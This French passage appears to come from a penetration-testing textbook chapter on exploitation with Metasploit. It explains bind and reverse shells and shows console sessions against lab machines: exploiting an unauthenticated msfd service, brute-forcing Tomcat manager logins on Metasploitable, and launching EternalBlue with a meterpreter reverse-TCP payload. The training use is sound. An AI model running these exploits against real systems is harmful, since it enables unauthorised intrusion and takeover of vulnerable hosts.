La phase d'exploitation
Choix des modules à utiliser
Une fois la phase de reconnaissance effectuée, il devient alors possible d’y voir plus clair quant aux exploits ou auxiliaires qu’il est possible d’utiliser pour aller plus loin dans la phase d’exploitation. Alors que tous les auxiliaires disposent d’une notation (Rank) à normal, la notation des exploits peut changer :
msf6 > show exploits
Exploits
========
Name Rank
---- ----
aix/local/ibstat_path excellent
aix/rpc_cmsd_opcode21 great ...
Préparation de la phase d’exploitation
En introduction, une notion importante a été abordée : les shells de type bind et de type reverse :
-
Dans le cas des shells de type bind, la connexion est initiée depuis la machine de l’attaquant vers celle de la cible en spécifiant l’adresse IP ainsi que le service en écoute.
-
Dans le cas des shells de type reverse, la connexion est cette fois-ci initiée depuis la machine cible en direction de l’attaquant.
Dans le deuxième cas de figure, il est alors nécessaire de mettre en place un procédé permettant à l’attaquant d’interpréter cette connexion initiée par la cible. Pour cela, et comme évoqué au chapitre Premiers pas avec Metasploit, à la section Les interfaces - Le système de fichiers, la mise en place d’un handler est alors nécessaire.
Ce module est un exploit générique permettant de créer un service en écoute sur la machine de l’attaquant. De ce fait, la machine de l’attaquant ainsi que la machine cible pourront alors communiquer.
Afin de configurer ce module, il est simplement nécessaire de spécifier l’adresse d’écoute (LHOST), le port d’écoute (LPORT) ainsi que le payload utilisé. Celui-ci doit être exactement le même qu’indiqué...
Exploitation de Metasploit par Metasploit
Chose promise, chose due ! Au chapitre Premiers pas avec Metasploit à la section Les interfaces, nous avons abordé Msfd et les problèmes de sécurité y étant liés.
Le lancement du service se fait de la manière suivante :
root@kali:~# msfd -a 0.0.0.0
[*] Initializing msfd...
[*] Running msfd...
Sur la machine de l’attaquant, il est possible de vérifier la présence de ce port grâce à un scan de ports classique :
root@kali:~# nmap -p 55554 192.168.171.144
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-28 19:29 CET
Nmap scan report for 192.168.171.144
Host is up (0.000050s latency).
PORT STATE SERVICE
55554/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Dès lors, il est possible d’utiliser l’un des exploits précisés précédemment afin de prendre le contrôle de la machine distante grâce à l’absence d’authentification :
msf6 > use exploit/multi/misc/msfd_rce_remote
msf6 exploit(multi/misc/msfd_rce_remote) >show options
Module options (exploit/multi/misc/msfd_rce_remote):
Name Current Setting Required Description
---- --------------- -------- ----------- ...
Exploitation de Metasploitable par Metasploit
Comme précisé en introduction, Metasploitable2 et Metasploitable3 sont des systèmes d’exploitation contenant de nombreuses vulnérabilités à exploiter dans un cadre d’entraînement. L’objectif de cet ouvrage n’est pas de présenter l’ensemble des exploits dont dispose le framework Metasploit ni de donner l’ensemble des méthodologies pour exploiter ces machines d’entraînement. Néanmoins, leur utilisation permet d’avoir une approche pédagogique et simple à mettre en place. Ainsi, l’exploitation de certains services fréquemment rencontrés durant les tests d’intrusion est mise avant.
1. Apache Tomcat
Apache Tomcat est un conteneur web de servlets et JSP contenant également un serveur HTTP fréquemment rencontré au sein des entreprises.
Dans ce cas de figure, le port du service n’est pas spécifié, car ce dernier peut se trouver sur de très nombreux ports (80, 8080, 8180, etc.) :
msf6 > services -S Apache
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.64.130 8180 tcp http open Apache Tomcat/Coyote JSP
L’accès direct à l’URL ne laisse planer aucun doute sur l’utilisation d’un serveur Apache Tomcat :
Néanmoins, en l’état, la page d’authentification est protégée par une authentification basique :
Le module auxiliary/scanner/http/tomcat_mgr_login permet de réaliser une attaque par dictionnaire ou par brute force sur la mire d’authentification. De plus, le dictionnaire spécifié de base contient l’ensemble des identifiants/mots de passe par défaut :
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 172.16.64.130
RHOSTS => 172.16.64.130
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
[...]
[-] 172.16.64.130:8180 - LOGIN FAILED:...
Exemple d’exploitation d’un Windows
1. SMB (445/TCP)
Quel que soit le système d’exploitation sous-jacent, SMB est un protocole de partage de fichiers en réseau pouvant écouter sur le port 139/TCP ou 445/TCP.
En 2017, le groupe de hackers The Shadow Brokers publiait un exploit affectant la version 1 du protocole SMB (SMBv1). Cet exploit, initialement développé par la NSA (National SecurityAgency), a entre autres permis au ransomware Wannacry d’avoir une ampleur aussi importante grâce à l’exploitation de la faille MS17-010. Comme toute vulnérabilité à l’heure actuelle, cette dernière dispose d’un joli nom : EternalBlue.
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 172.16.86.134
LHOST => 172.16.86.134
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 172.16.86.110
RHOST => 172.16.86.110
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 172.16.86.134:4444
[*] 172.16.86.110:445 - Connecting to target for exploitation.
[+] 172.16.86.110:445 - Connection established for exploitation. ...